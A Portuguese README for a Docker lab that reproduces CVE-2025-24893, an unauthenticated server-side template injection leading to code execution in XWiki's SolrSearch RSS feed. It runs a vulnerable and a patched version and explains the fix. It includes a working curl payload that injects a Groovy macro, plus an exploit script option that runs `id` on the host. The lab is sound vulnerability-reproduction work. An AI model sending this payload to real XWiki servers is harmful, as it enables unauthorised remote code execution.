Laboratório Docker autossuficiente que reproduz o CVE-2025-24893, uma SSTI-para-RCE não autenticada no XWiki SolrSearch, e compara o comportamento vulnerável versus o corrigido.
Um laboratório Docker autocontido que reproduz a CVE-2025-24893, uma injeção de template no lado do servidor no feed RSS do SolrSearch do XWiki que leva à execução remota de código sem autenticação. Ele executa a versão vulnerável 15.10.10 e a versão corrigida 15.10.11, de modo que a mesma requisição pode ser demonstrada com sucesso em uma e falhando na outra.
Nota sobre o uso de ferramentas de IA. Ao preparar este projeto, fiz uso limitado de dois assistentes de IA --- o Claude Opus 4.8 da Anthropic e o DeepSeek-V4-Flash-0731 --- para pesquisa de documentação e de abordagem, para revisão de código e para aprimorar a redação do arquivo README.md e do relatório em LaTeX. A contribuição deles foi marginal e estritamente subordinada às minhas próprias decisões.
docker compose, não o antigo binário docker-compose). Registre as versões para o relatório com docker --version e docker compose version.tomcat:9-jre17mysql:8.4cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
A única diferença entre as duas stacks é a versão do XWiki. Todo o resto, incluindo a imagem do banco de dados e o driver JDBC, é idêntico; portanto, qualquer mudança de comportamento se deve à correção e a nada mais.
Construa e inicie:
docker compose -f docker-compose.vuln.yml up --build -d
O primeiro build baixa e descompacta o XWiki, o que leva alguns minutos. Aguarde o Tomcat reportar a inicialização:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
Conclua a configuração única de primeira inicialização: abra http://localhost:8080 e complete o Assistente de Distribuição (instale o flavor padrão XWiki Standard). Isso provisiona a interface do SolrSearch que o exploit ataca. O endpoint é acessível a convidados (guests), portanto o ataque em si não exige login; esta configuração inicial é a única etapa que exige.
Execute o exploit (sem autenticação):
python3 exploit.py http://localhost:8080
Saída esperada na stack vulnerável:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
Opcionalmente, mostre que a execução alcança o sistema operacional com um comando somente leitura:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
A mesma requisição como um one-liner simples de curl:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
Tire uma captura de tela da saída para o relatório e, em seguida, derrube a stack:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
Conclua novamente o Assistente de Distribuição em http://localhost:8080 e então execute o exploit idêntico:
python3 exploit.py http://localhost:8080
Saída esperada na stack corrigida:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
Tire também uma captura de tela dessa saída e depois faça o reset:
docker compose -f docker-compose.patched.yml down -v
Na versão 15.10.10, o bloco de saída do feed emite o feed como uma expressão Velocity simples ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), de modo que o feed — que reflete o texto de pesquisa do usuário — é passado de volta pelo pipeline de renderização do XWiki, onde uma macro {{groovy}} embutida é executada. Na versão 15.10.11, esse bloco é substituído por uma chamada a uma nova macro rawResponse (SolrSearchMacros.xml linha 954; a macro é definida em templates/macros.vm). A rawResponse define o tipo de conteúdo explicitamente (application/rss+xml), grava os bytes do feed diretamente na resposta com $response.writer.print(...) e chama $xcontext.setFinished(true) para interromper qualquer renderização adicional, de modo que o feed é enviado sem alterações e o bloco {{groovy}} embutido nunca é avaliado. Commit do patch 67021db9b8ed26c2236a653269302a86bf01ef40, advisory GHSA-rr6p-3pfg-562j. O advisory também fornece uma solução alternativa manual: edite Main.SolrSearchMacros para usar o mesmo padrão rawResponse, o que fecha o sink sem precisar atualizar.
tomcat:9-jre17, o banco de dados mysql:8.4 e a porta 8080.docker compose -f <file> down -v; o próximo up reinicializa do zero.xwiki/xwiki, root xwiki-root) são apenas para este laboratório local.for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) e mysql/init.sql são adaptados ou incorporados (vendored) a partir do build oficial do XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). O Dockerfile difere da imagem upstream em três pequenos aspectos documentados: (1) a versão e o checksum do XWiki e do JDBC são passados como argumentos de build, de modo que um único arquivo constrói tanto a imagem vulnerável quanto a corrigida; (2) um chmod +x explícito garante que o entrypoint seja executável mesmo que as permissões Unix se percam quando os arquivos são descompactados ou transferidos; e (3) um comentário upstream desatualizado que fazia referência a um arquivo .env (não utilizado aqui) foi corrigido. O XWiki é copyright do XWiki Development Team.